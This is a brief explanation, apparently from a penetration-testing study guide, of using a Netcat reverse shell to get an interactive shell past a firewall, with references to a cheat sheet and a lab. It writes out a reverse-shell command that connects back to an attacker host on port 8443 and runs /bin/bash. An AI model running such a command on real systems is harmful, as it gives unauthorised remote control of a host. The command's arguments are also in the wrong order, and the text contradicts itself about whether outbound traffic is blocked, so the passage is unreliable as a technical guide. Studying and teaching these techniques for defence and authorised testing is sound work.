When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.
This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.
Reference:
Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet
Practical examples from penetration testing scenarios: Horizontall.